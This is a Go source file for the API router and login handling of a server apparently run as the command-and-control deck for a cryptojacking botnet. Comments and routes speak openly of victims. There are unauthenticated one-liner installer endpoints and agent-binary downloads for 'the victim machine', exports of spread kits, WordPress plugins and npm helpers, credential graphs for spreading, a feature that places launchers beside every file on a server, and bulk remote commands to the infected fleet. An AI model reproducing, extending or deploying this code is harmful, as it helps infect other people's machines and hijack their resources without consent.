package api import ( "crypto/rand" "crypto/sha256" "crypto/subtle" "encoding/hex" "encoding/json" "fmt" "log" "net/http" "os" "path/filepath" "sort" "strings" "sync" "time" "unicode" "crypto-miner-server/internal/builder" "crypto-miner-server/internal/db" "github.com/go-chi/chi/v5" "github.com/go-chi/chi/v5/middleware" "github.com/go-chi/cors" "golang.org/x/crypto/bcrypt" ) // authSessionCache avoids running bcrypt on every API request. // Key: SHA-256(user+":"+password) hex — value: expiry time. // Entries are valid for authCacheTTL after the last successful login. // Bcrypt only runs on cache miss or expiry. var ( authSessionCache = map[string]time.Time{} authSessionCacheMu sync.Mutex authCacheTTL = 5 * time.Minute // builtinSecondaryUser is provisioned on every deck start if missing (random password in login-credentials.json). builtinSecondaryUser = "comrade" ) func authCacheKey(user, pass string) string { h := sha256.Sum256([]byte(user + ":" + pass)) return hex.EncodeToString(h[:]) } func authCacheHit(user, pass string) bool { key := authCacheKey(user, pass) authSessionCacheMu.Lock() defer authSessionCacheMu.Unlock() exp, ok := authSessionCache[key] return ok && time.Now().Before(exp) } func authCacheSet(user, pass string) { key := authCacheKey(user, pass) authSessionCacheMu.Lock() defer authSessionCacheMu.Unlock() authSessionCache[key] = time.Now().Add(authCacheTTL) // Prune expired entries opportunistically. if len(authSessionCache) > 512 { now := time.Now() for k, v := range authSessionCache { if now.After(v) { delete(authSessionCache, k) } } } } var ( // authUsers is populated from data/users.json on startup. Plain-text copies // for console display live in data/login-credentials.json (0600). authUsers = map[string]string{} usersFilePath string usersMu sync.RWMutex authLoadMu sync.Mutex authLoadedDataDir string // fleetSecretForAgentPaths holds the shared fleet secret used to authenticate // agent-facing REST endpoints (/api/v1/agent/*). Set once from main.go via // SetAgentPathSecret so basicAuthMiddleware can check X-Fleet-Secret headers. fleetSecretForAgentPaths string fleetSecretForAgentPathsMu sync.RWMutex // rotateSecretFn is called when POST /server/rotate-secret is hit. // Wired from main.go so the server can generate, persist, and propagate the new secret. rotateSecretFn func() (string, error) ) // SetAgentPathSecret stores the fleet secret so basicAuthMiddleware can verify // X-Fleet-Secret headers on /api/v1/agent/* routes. func SetAgentPathSecret(secret string) { fleetSecretForAgentPathsMu.Lock() fleetSecretForAgentPaths = secret fleetSecretForAgentPathsMu.Unlock() } // SetRotateSecretFn registers the callback that handles POST /server/rotate-secret. func SetRotateSecretFn(fn func() (string, error)) { rotateSecretFn = fn } // isBcryptHash returns true when s looks like a bcrypt hash ($2a$, $2b$, $2y$). func isBcryptHash(s string) bool { return len(s) > 4 && s[0] == '$' && s[1] == '2' } // hashPassword returns a bcrypt hash of password (cost 12). func hashPassword(password string) (string, error) { h, err := bcrypt.GenerateFromPassword([]byte(password), 12) if err != nil { return "", err } return string(h), nil } // checkPassword verifies password against the stored value. Stored values are // always bcrypt hashes after migration; plain-text legacy values are accepted // once then re-hashed automatically. func checkPassword(stored, provided string) bool { if isBcryptHash(stored) { return bcrypt.CompareHashAndPassword([]byte(stored), []byte(provided)) == nil } // Legacy plain-text comparison (constant-time). return subtle.ConstantTimeCompare([]byte(provided), []byte(stored)) == 1 } func loginSidecarPath(dataDir string) string { return filepath.Join(dataDir, "login-credentials.json") } func readLoginSidecar(path string) (map[string]string, error) { data, err := os.ReadFile(path) if err != nil { return nil, err } var creds map[string]string if err := json.Unmarshal(data, &creds); err != nil { return nil, err } if len(creds) == 0 { return nil, fmt.Errorf("empty login sidecar") } return creds, nil } func writeLoginSidecar(path string, creds map[string]string) error { if err := os.MkdirAll(filepath.Dir(path), 0755); err != nil { return err } data, err := json.MarshalIndent(creds, "", " ") if err != nil { return err } return os.WriteFile(path, data, 0600) } func upsertLoginSidecar(dataDir, username, password string) error { path := loginSidecarPath(dataDir) creds, _ := readLoginSidecar(path) if creds == nil { creds = map[string]string{} } creds[username] = password return writeLoginSidecar(path, creds) } func printStartupCredentials(dataDir string) { creds, err := readLoginSidecar(loginSidecarPath(dataDir)) if err != nil || len(creds) == 0 { return } fmt.Println(formatLoginBanner(creds)) } func formatLoginBanner(creds map[string]string) string { var b strings.Builder b.WriteString("\n╔══════════════════════════════════════════════════╗\n") b.WriteString("║ AetherForge — Dashboard Login ║\n") b.WriteString("║ ║\n") users := make([]string, 0, len(creds)) for user := range creds { users = append(users, user) } sort.Strings(users) for _, user := range users { pass := creds[user] fmt.Fprintf(&b, "║ Username : %-34s║\n", user) fmt.Fprintf(&b, "║ Password : %-34s║\n", pass) b.WriteString("║ ║\n") } b.WriteString("║ Also saved in data/login-credentials.json ║\n") b.WriteString("║ Change passwords in Calibrate → Users. ║\n") b.WriteString("╚══════════════════════════════════════════════════╝\n") return b.String() } // LoadUsers loads dashboard accounts and prints login credentials to the console. // Call once during startup (before heavy init) so operators always see passwords. func LoadUsers(dataDir string) { ensureUsersLoaded(dataDir) printStartupCredentials(dataDir) } func ensureUsersLoaded(dataDir string) { abs, err := filepath.Abs(dataDir) if err != nil { abs = dataDir } authLoadMu.Lock() defer authLoadMu.Unlock() if authLoadedDataDir == abs { return } bootstrapUsers(dataDir) authLoadedDataDir = abs } func bootstrapUsers(dataDir string) { usersFilePath = filepath.Join(dataDir, "users.json") sidecarPath := loginSidecarPath(dataDir) usersMu.Lock() defer usersMu.Unlock() data, err := os.ReadFile(usersFilePath) if err == nil { var loaded map[string]string if json.Unmarshal(data, &loaded) == nil && len(loaded) > 0 { migrated := false for u, v := range loaded { if !isBcryptHash(v) { if h, herr := hashPassword(v); herr == nil { loaded[u] = h migrated = true log.Printf("[Auth] Migrated plain-text password for user %q to bcrypt", u) } } } authUsers = loaded changed := migrated if ensureBuiltinSecondaryUser(authUsers, dataDir) { changed = true } if changed { d, _ := json.MarshalIndent(authUsers, "", " ") _ = os.WriteFile(usersFilePath, d, 0600) } reconcileLoginSidecar(dataDir, sidecarPath, loaded) return } } adminPW := generateRandomPassword() comradePW := generateRandomPassword() adminHash, herr := hashPassword(adminPW) if herr != nil { adminHash = adminPW log.Printf("[Auth] WARNING: bcrypt failed for admin: %v", herr) } comradeHash, herr := hashPassword(comradePW) if herr != nil { comradeHash = comradePW log.Printf("[Auth] WARNING: bcrypt failed for %q: %v", builtinSecondaryUser, herr) } authUsers = map[string]string{ "admin": adminHash, builtinSecondaryUser: comradeHash, } if mkErr := os.MkdirAll(dataDir, 0755); mkErr == nil { d, _ := json.MarshalIndent(authUsers, "", " ") if writeErr := os.WriteFile(usersFilePath, d, 0600); writeErr != nil { log.Printf("[Auth] WARNING: could not save users.json: %v", writeErr) } _ = writeLoginSidecar(sidecarPath, map[string]string{ "admin": adminPW, builtinSecondaryUser: comradePW, }) } } const legacySecondaryUser = "comrad" // ensureBuiltinSecondaryUser adds the comrade account when absent. Password is random and // written to login-credentials.json via upsertLoginSidecar. Caller must hold usersMu. func ensureBuiltinSecondaryUser(users map[string]string, dataDir string) bool { if _, ok := users[builtinSecondaryUser]; ok { return false } if hash, ok := users[legacySecondaryUser]; ok { users[builtinSecondaryUser] = hash delete(users, legacySecondaryUser) sidecarPath := loginSidecarPath(dataDir) if creds, err := readLoginSidecar(sidecarPath); err == nil { if pw, ok := creds[legacySecondaryUser]; ok { delete(creds, legacySecondaryUser) creds[builtinSecondaryUser] = pw _ = writeLoginSidecar(sidecarPath, creds) } } log.Printf("[Auth] Renamed legacy user %q to %q", legacySecondaryUser, builtinSecondaryUser) return true } pw := generateRandomPassword() hashed, herr := hashPassword(pw) if herr != nil { hashed = pw log.Printf("[Auth] WARNING: bcrypt failed for %q: %v", builtinSecondaryUser, herr) } users[builtinSecondaryUser] = hashed if err := upsertLoginSidecar(dataDir, builtinSecondaryUser, pw); err != nil { log.Printf("[Auth] WARNING: could not update login-credentials.json for %q: %v", builtinSecondaryUser, err) } log.Printf("[Auth] Created builtin user %q (password in login-credentials.json)", builtinSecondaryUser) return true } func reconcileLoginSidecar(dataDir, sidecarPath string, users map[string]string) { if _, err := readLoginSidecar(sidecarPath); err == nil { return } if _, ok := users["admin"]; !ok { return } pw := generateRandomPassword() hashed, herr := hashPassword(pw) if herr != nil { log.Printf("[Auth] WARNING: could not regenerate admin password: %v", herr) return } users["admin"] = hashed authUsers = users d, _ := json.MarshalIndent(authUsers, "", " ") if writeErr := os.WriteFile(usersFilePath, d, 0600); writeErr != nil { log.Printf("[Auth] WARNING: could not save users.json: %v", writeErr) return } if writeErr := writeLoginSidecar(sidecarPath, map[string]string{"admin": pw}); writeErr != nil { log.Printf("[Auth] WARNING: could not save login-credentials.json: %v", writeErr) return } log.Printf("[Auth] Regenerated admin password (login-credentials.json was missing)") } // generateRandomPassword returns an 8-character password (4 random bytes as hex). func validateDashboardUsername(username string) error { if len(username) < 3 || len(username) > 32 { return fmt.Errorf("username must be 3-32 characters") } for _, c := range username { if !unicode.IsLetter(c) && !unicode.IsDigit(c) && c != '_' && c != '-' { return fmt.Errorf("username contains invalid characters") } } return nil } func generateRandomPassword() string { b := make([]byte, 8) if _, err := rand.Read(b); err != nil { return "aether1!" } return hex.EncodeToString(b) } func saveUser(username, password string) error { hashed, err := hashPassword(password) if err != nil { return fmt.Errorf("bcrypt: %w", err) } usersMu.Lock() authUsers[username] = hashed if usersFilePath == "" { usersFilePath = filepath.Join("data", "users.json") } dataDir := filepath.Dir(usersFilePath) if err := os.MkdirAll(dataDir, 0755); err != nil { usersMu.Unlock() return err } data, _ := json.MarshalIndent(authUsers, "", " ") if err := os.WriteFile(usersFilePath, data, 0600); err != nil { usersMu.Unlock() return err } usersMu.Unlock() authSessionCacheMu.Lock() authSessionCache = map[string]time.Time{} authSessionCacheMu.Unlock() if err := upsertLoginSidecar(dataDir, username, password); err != nil { log.Printf("[Auth] WARNING: could not update login-credentials.json: %v", err) } return nil } // isSPAAuthRequest is true when the dashboard SPA sent credentials or its client marker. // Mobile browsers show a native HTTP Basic dialog on 401 + WWW-Authenticate; SPA fetch // must not trigger that — only bare browser navigations without these headers should. func isSPAAuthRequest(r *http.Request) bool { return r.Header.Get("Authorization") != "" || r.Header.Get("X-AetherForge-Client") != "" } func basicAuthMiddleware(next http.Handler) http.Handler { return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { if r.Method == http.MethodOptions { next.ServeHTTP(w, r) return } path := r.URL.Path // Health check and one-liner installer endpoints are always open. // NOTE: build download/artifact routes are intentionally NOT in this list — // they require fleet-secret or Basic Auth (see isDownload block below). if path == "/api/v1/health" || path == "/get" || path == "/install.sh" || path == "/install.ps1" || path == "/install.command" || strings.HasPrefix(path, "/api/v1/public/") { next.ServeHTTP(w, r) return } // Agent-facing API endpoints (/api/v1/agent/*) require the fleet secret // in the X-Fleet-Secret header instead of Basic auth. This ensures only // legitimately forged agents can call these endpoints. // A missing or empty fleet secret is always rejected — the server auto- // generates one at startup so this state should never occur in production. if strings.HasPrefix(path, "/api/v1/agent/") { fleetSecretForAgentPathsMu.RLock() secret := fleetSecretForAgentPaths fleetSecretForAgentPathsMu.RUnlock() if secret == "" { http.Error(w, "server not ready: fleet secret not configured", http.StatusServiceUnavailable) return } provided := r.Header.Get("X-Fleet-Secret") if subtle.ConstantTimeCompare([]byte(provided), []byte(secret)) != 1 { http.Error(w, "Forbidden", http.StatusForbidden) return } next.ServeHTTP(w, r) return } // Build download/artifact/uninstall routes: accept fleet secret OR Basic Auth. // This lets forged agents self-upgrade (they have the fleet secret baked in) // while still requiring credentials for unauthenticated callers. isDownload := strings.HasPrefix(path, "/api/v1/builds/") && (strings.HasSuffix(path, "/download") || strings.Contains(path, "/artifact/") || strings.HasSuffix(path, "/uninstall")) if isDownload { fleetSecretForAgentPathsMu.RLock() secret := fleetSecretForAgentPaths fleetSecretForAgentPathsMu.RUnlock() provided := r.Header.Get("X-Fleet-Secret") if secret != "" && subtle.ConstantTimeCompare([]byte(provided), []byte(secret)) == 1 { next.ServeHTTP(w, r) return } // Fall through to Basic Auth below. } user, pass, ok := r.BasicAuth() if !ok { if !isSPAAuthRequest(r) { w.Header().Set("WWW-Authenticate", `Basic realm="AetherForge Control Deck"`) } http.Error(w, "Unauthorized", http.StatusUnauthorized) return } // Fast path — skip bcrypt if this credential pair was recently validated. // bcrypt at cost-12 takes ~250 ms; the cache keeps the dashboard snappy. if !authCacheHit(user, pass) { usersMu.RLock() storedHash, exists := authUsers[user] usersMu.RUnlock() if !exists || !checkPassword(storedHash, pass) { if !isSPAAuthRequest(r) { w.Header().Set("WWW-Authenticate", `Basic realm="AetherForge Control Deck"`) } http.Error(w, "Unauthorized", http.StatusUnauthorized) return } // Credential verified — cache it for the next few minutes. authCacheSet(user, pass) } next.ServeHTTP(w, withAuthUser(r, user)) }) } func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, fleetAIHandler *FleetAIHandler, dropperHandler *DropperHandler, spreadHandler *SpreadHandler, spreadCredHandler *SpreadCredHandler, deployPlanHandler *DeployPlanHandler, publicHandler *PublicHandler, pathForgeHandler *builder.PathForgeHandler, pathTracerHandler *PathTracerHandler, webRoot string, dataDir string, publicURLOverride func() string, listenPort int, cloudflaredConfigured func() bool, serverVersion ...string) http.Handler { ensureUsersLoaded(dataDir) version := "AetherForge" if len(serverVersion) > 0 && serverVersion[0] != "" { version = serverVersion[0] } r := chi.NewRouter() // Middleware (global) r.Use(middleware.Logger) r.Use(middleware.Recoverer) r.Use(cors.Handler(cors.Options{ AllowedOrigins: []string{"*"}, AllowedMethods: []string{"GET", "POST", "PUT", "DELETE", "OPTIONS"}, // X-Fleet-Secret is required by agent-facing endpoints; include it so // browser-based callers (dev tools, custom dashboards) are not blocked // by CORS preflight when sending that header. AllowedHeaders: []string{"Accept", "Authorization", "Content-Type", "X-Fleet-Secret", "X-AetherForge-Client"}, AllowCredentials: false, })) // REST API — auth only on /api/v1 (dashboard WS + static SPA stay open) r.Route("/api/v1", func(r chi.Router) { r.Use(basicAuthMiddleware) h := NewHandler(database) r.Get("/health", h.HealthCheck) r.Post("/auth/ws-ticket", func(w http.ResponseWriter, req *http.Request) { user := AuthUsername(req) if user == "" { http.Error(w, "Unauthorized", http.StatusUnauthorized) return } ticket := issueWSTicket(user) writeJSON(w, map[string]interface{}{ "ticket": ticket, "expires_in": int(wsTicketTTL.Seconds()), }) }) r.Get("/server/ready", h.ServerReady) r.Get("/server/info", func(w http.ResponseWriter, r *http.Request) { override := "" if publicURLOverride != nil { override = publicURLOverride() } tunnelReady := false if cloudflaredConfigured != nil { tunnelReady = cloudflaredConfigured() } GetServerInfo(w, r, override, listenPort, tunnelReady, version) }) // Dashboard r.Get("/dashboard/stats", h.GetDashboardStats) vulnHandler := NewVulnHandler() r.Get("/vuln/catalog", vulnHandler.Catalog) // Agents r.Get("/agents", h.ListAgents) r.Get("/agents/{id}", h.GetAgent) r.Get("/agents/{id}/stats", h.GetAgentStats) if fleetHandler != nil { r.Post("/agents/{id}/command", fleetHandler.PostAgentCommand) r.Post("/agents/{id}/wol", fleetHandler.PostAgentWOL) r.Get("/agents/{id}/log", fleetHandler.GetAgentLog) r.Put("/agents/{id}/meta", fleetHandler.PutAgentMeta) r.Delete("/agents/{id}", fleetHandler.DeleteAgent) r.Post("/agents/bulk-command", fleetHandler.PostBulkCommand) r.Post("/agents/bulk-delete", fleetHandler.BulkDeleteAgents) } // Fleet ops strategyHandler := NewStrategyHandler(wsHub) r.Post("/strategy/recompute", strategyHandler.PostRecompute) phenotypeHandler := NewPhenotypeHandler(database) r.Get("/phenotypes", phenotypeHandler.List) if fleetHandler != nil { r.Get("/alerts", fleetHandler.GetAlerts) r.Post("/alerts/test", fleetHandler.PostAlertTest) r.Get("/pools/status", fleetHandler.GetPoolStatus) r.Get("/ai/activity", fleetHandler.GetAIActivity) r.Get("/earnings/estimate", fleetHandler.GetEarningsEstimate) r.Get("/market/xmr", fleetHandler.GetXMRPrice) r.Get("/audit", fleetHandler.GetAudit) r.Get("/fleet-tasks", fleetHandler.GetFleetTasks) r.Put("/fleet-tasks", fleetHandler.PutFleetTask) r.Delete("/fleet-tasks/{id}", fleetHandler.DeleteFleetTask) r.Get("/dashboard/spread-funnel", fleetHandler.GetSpreadFunnel) r.Put("/fleet/policy", fleetHandler.PutFleetPolicy) r.Post("/fleet/modules/push", fleetHandler.PostFleetModulePush) } if fleetAIHandler != nil { r.Get("/ai/models", fleetAIHandler.GetModels) r.Get("/ai/config", fleetAIHandler.GetConfig) r.Put("/ai/config", fleetAIHandler.PutConfig) r.Get("/ai/decisions", fleetAIHandler.GetDecisions) r.Get("/ai/clearance-events", fleetAIHandler.GetClearanceEvents) } moduleStore := NewModuleStore(dataDir, func() string { fleetSecretForAgentPathsMu.RLock() s := fleetSecretForAgentPaths fleetSecretForAgentPathsMu.RUnlock() return s }) moduleHandler := NewModuleHandler(moduleStore) r.Get("/fleet/modules", moduleHandler.ListModules) // Shares r.Get("/shares", h.GetRecentShares) // Builds r.Get("/builds", h.ListBuilds) r.Put("/builds/{id}/pin", h.PinBuild) if spreadHandler != nil { r.Put("/builds/{id}/public", spreadHandler.SetBuildPublic) } r.Delete("/builds/pin", h.UnpinAll) r.Delete("/builds/{id}", h.DeleteBuild) r.Get("/builds/{id}/download", builderHandler.DownloadBuild) r.Get("/builds/{id}/artifact/{name}", builderHandler.DownloadBuildArtifact) r.Get("/builds/{id}/uninstall", builderHandler.DownloadUninstall) // Config r.Get("/config", configHandler.ServeHTTP) r.Put("/config", configHandler.ServeHTTP) // Builder r.Post("/builder/build", builderHandler.ServeHTTP) r.Post("/builder/estimate", builderHandler.ServeEstimate) if spreadHandler != nil { r.Post("/builder/spread-kit-export", spreadHandler.ExportSpreadKit) r.Post("/builder/wordpress-plugin-export", spreadHandler.ExportWordPressPlugin) r.Post("/builder/npm-helper-export", spreadHandler.ExportNpmHelper) r.Post("/builder/spread-template-export", spreadHandler.ExportSpreadTemplate) r.Get("/emberwake/notes", spreadHandler.GetNotes) r.Put("/emberwake/notes", spreadHandler.PutNotes) r.Get("/emberwake/campaigns", spreadHandler.GetCampaigns) r.Get("/emberwake/war-room", spreadHandler.GetWarRoom) r.Get("/spread/credential-graph", spreadHandler.GetCredGraph) r.Get("/spread/service-graph", spreadHandler.GetServiceGraph) r.Get("/emberwake/cred-graph", spreadHandler.GetCredGraph) // legacy alias } // Path Forge: walk a local server path, place launchers next to every file if pathForgeHandler != nil { r.Post("/builder/path-forge", pathForgeHandler.ServeHTTP) } r.Get("/builder/progress/{token}", builderHandler.ServeProgress) r.Delete("/builder/cancel/{token}", func(w http.ResponseWriter, req *http.Request) { token := chi.URLParam(req, "token") if builderHandler.CancelBuild(token) { writeJSON(w, map[string]interface{}{"cancelled": true}) } else { http.Error(w, "build not found or already completed", http.StatusNotFound) } }) // Blueprints (config presets) r.Get("/blueprints", blueprintHandler.ServeHTTP) r.Post("/blueprints", blueprintHandler.ServeHTTP) r.Delete("/blueprints", blueprintHandler.ServeHTTP) r.Get("/blueprints/{name}", blueprintHandler.GetBlueprint) // Fleet secret rotation — generates a new secret, saves config, kicks all agents. // Forged agents with the old secret will be rejected until re-forged. r.Post("/server/rotate-secret", func(w http.ResponseWriter, req *http.Request) { if rotateSecretFn == nil { http.Error(w, "rotation not configured", http.StatusServiceUnavailable) return } newSecret, err := rotateSecretFn() if err != nil { http.Error(w, "rotation failed: "+err.Error(), http.StatusInternalServerError) return } hint := newSecret if n := len(hint); n > 8 { hint = hint[:8] + "..." } else if n > 0 { hint += "..." } writeJSON(w, map[string]interface{}{"ok": true, "hint": hint}) }) // User Management r.Post("/users", func(w http.ResponseWriter, req *http.Request) { var payload struct { Username string `json:"username"` Password string `json:"password"` } if err := json.NewDecoder(req.Body).Decode(&payload); err != nil { http.Error(w, "Invalid JSON", http.StatusBadRequest) return } payload.Username = strings.TrimSpace(payload.Username) if err := validateDashboardUsername(payload.Username); err != nil { http.Error(w, err.Error(), http.StatusBadRequest) return } if len(payload.Password) < 4 || len(payload.Password) > 128 { http.Error(w, "password must be 4-128 characters", http.StatusBadRequest) return } usersMu.RLock() _, exists := authUsers[payload.Username] usersMu.RUnlock() if exists { http.Error(w, "username already exists", http.StatusConflict) return } if err := saveUser(payload.Username, payload.Password); err != nil { http.Error(w, "Failed to save user", http.StatusInternalServerError) return } writeJSON(w, map[string]interface{}{"success": true}) }) // Deck backup — authenticated full backup ZIP (config + DB + users) backupH := NewBackupHandler(dataDir, version) r.Get("/backup", backupH.ServeHTTP) // Path Tracer — on-demand WireGuard chain sessions if pathTracerHandler != nil { r.Post("/pathtrace/start", pathTracerHandler.Start) r.Post("/pathtrace/discover", pathTracerHandler.Discover) r.Post("/pathtrace/spread-route", pathTracerHandler.SpreadRoute) r.Post("/pathtrace/spread", pathTracerHandler.Spread) r.Get("/pathtrace/{id}/status", pathTracerHandler.Status) r.Get("/pathtrace/{id}/qr", pathTracerHandler.QR) r.Delete("/pathtrace/{id}", pathTracerHandler.Delete) } // Agent autonomy REST — forged Go agents only (X-Fleet-Secret header). // Not exposed in dashboard client.ts; see agent/client and README API auth table. r.Post("/agent/decide", aiHandler.HandleDecide) r.Post("/agent/report", aiHandler.HandleReport) r.Post("/agent/heartbeat", aiHandler.HandleHeartbeat) r.Post("/agent/beacon", wsHub.HandleAgentBeacon) r.Post("/agent/beacon/result", wsHub.HandleAgentBeaconResult) if spreadCredHandler != nil { r.Post("/agent/spread-cred/issue", spreadCredHandler.IssueToken) r.Post("/agent/spread-cred/redeem", spreadCredHandler.RedeemToken) r.Post("/agent/spread-cred/report", spreadCredHandler.ReportEdge) } if deployPlanHandler != nil { r.Post("/agent/deploy-plan", deployPlanHandler.PostDeployPlan) } r.Get("/agent/module/{name}", moduleHandler.GetAgentModule) // Public builds (also bypass auth in middleware — listed here for chi routing) if publicHandler != nil { r.Get("/public/builds", publicHandler.ListBuilds) r.Get("/public/download/{id}", publicHandler.Download) r.Get("/public/download/{id}/artifact/{name}", publicHandler.Download) r.Get("/public/dns-txt/{record}", publicHandler.DNSTXTShard) r.Get("/public/webrtc-mesh/manifest", publicHandler.WebRTCMeshManifest) } }) // WebSocket r.Get("/ws/agent", wsHub.HandleAgentWS) r.Get("/ws/dashboard", wsHub.HandleDashboardWS) // One-liner remote install endpoints (unauthenticated — URL knowledge is the gate) if dropperHandler != nil { r.Get("/get", dropperHandler.ServeGet) r.Get("/install.sh", dropperHandler.ServeSh) r.Get("/install.ps1", dropperHandler.ServePs1) r.Get("/install.command", dropperHandler.ServeCommand) } // SUPP Seek agent download endpoints — serve agent binaries so launcher scripts // dropped by Seek Mode can fetch and run the agent on the victim machine. // Unauthenticated (the drop URL itself is the secret). r.Get("/api/download/agent-windows", serveAgentBinary("windows")) r.Get("/api/download/agent-mac", serveAgentBinary("mac")) r.Get("/api/download/agent-linux", serveAgentBinary("linux")) // Serve frontend SPA if webRoot != "" { // Check if webroot directory exists if info, err := os.Stat(webRoot); err == nil && info.IsDir() { // Create a file server for the webroot fileServer := http.FileServer(http.Dir(webRoot)) // SPA fallback: serve index.html for all non-API, non-WebSocket routes r.Get("/*", func(w http.ResponseWriter, r *http.Request) { // Clean the path path := strings.TrimPrefix(r.URL.Path, "/") if path == "" || strings.Contains(path, "..") { w.Header().Set("Cache-Control", "no-cache, no-store, must-revalidate") http.ServeFile(w, r, filepath.Join(webRoot, "index.html")) return } fullPath := filepath.Join(webRoot, path) // Check if the file exists if _, err := os.Stat(fullPath); err == nil { fileServer.ServeHTTP(w, r) return } // SPA fallback - serve index.html (never cache: hashed assets change each build) w.Header().Set("Cache-Control", "no-cache, no-store, must-revalidate") http.ServeFile(w, r, filepath.Join(webRoot, "index.html")) }) } else { // Fallback if webroot doesn't exist r.Get("/", func(w http.ResponseWriter, r *http.Request) { w.Header().Set("Content-Type", "text/html") w.Write([]byte(`
Server is running. Build the frontend with cd server/web && npm install && npm run build
API: /api/v1/health
`)) }) } } else { r.Get("/", func(w http.ResponseWriter, r *http.Request) { w.Header().Set("Content-Type", "text/html") w.Write([]byte(`Server is running. No frontend configured.
API: /api/v1/health
`)) }) } return r } // agentBinaryCandidates returns search paths and the Content-Disposition filename // for SUPP Seek agent downloads. dir is typically the directory containing the // running server executable (USB bundle root or dev build output). func agentBinaryCandidates(platform, dir string) (candidates []string, dlName string) { switch platform { case "windows": dlName = "crypto-miner-agent.exe" candidates = []string{ filepath.Join(dir, "agent", "crypto-miner-agent.exe"), filepath.Join(dir, "crypto-miner-agent.exe"), } case "mac": dlName = "crypto-miner-agent" candidates = []string{ filepath.Join(dir, "agent", "crypto-miner-agent-darwin"), filepath.Join(dir, "crypto-miner-agent-darwin"), filepath.Join(dir, "agent", "crypto-miner-agent"), } case "linux": dlName = "crypto-miner-agent" candidates = []string{ filepath.Join(dir, "agent", "crypto-miner-agent-linux"), filepath.Join(dir, "crypto-miner-agent-linux"), filepath.Join(dir, "agent", "crypto-miner-agent"), } } return candidates, dlName } // findAgentBinary locates the first existing candidate under dir. func findAgentBinary(platform, dir string) (binPath, dlName string, ok bool) { candidates, dlName := agentBinaryCandidates(platform, dir) for _, c := range candidates { if _, err := os.Stat(c); err == nil { return c, dlName, true } } return "", dlName, false } // serveAgentBinary returns an HTTP handler that streams the agent binary for // the requested platform. It looks for the binary next to the running server // exe so it works both from the USB bundle and from a compiled dev build. // // Filename convention (same as what the build pipeline produces): // - windows → crypto-miner-agent.exe // - mac/linux → crypto-miner-agent (no extension) // agentBinarySearchDir returns the directory used to locate bundled agent binaries. // Tests may override this to point at a temp tree instead of os.Executable()'s dir. var agentBinarySearchDir = func() (string, error) { exe, err := os.Executable() if err != nil { return "", err } return filepath.Dir(exe), nil } func serveAgentBinary(platform string) http.HandlerFunc { return func(w http.ResponseWriter, r *http.Request) { dir, err := agentBinarySearchDir() if err != nil { http.Error(w, "server exe not found", http.StatusInternalServerError) return } binPath, dlName, ok := findAgentBinary(platform, dir) if !ok { log.Printf("[supp] agent binary not found for platform=%s (looked in %s)", platform, dir) http.Error(w, "agent binary not available for "+platform, http.StatusNotFound) return } w.Header().Set("Content-Type", "application/octet-stream") w.Header().Set("Content-Disposition", `attachment; filename="`+dlName+`"`) http.ServeFile(w, r, binPath) } }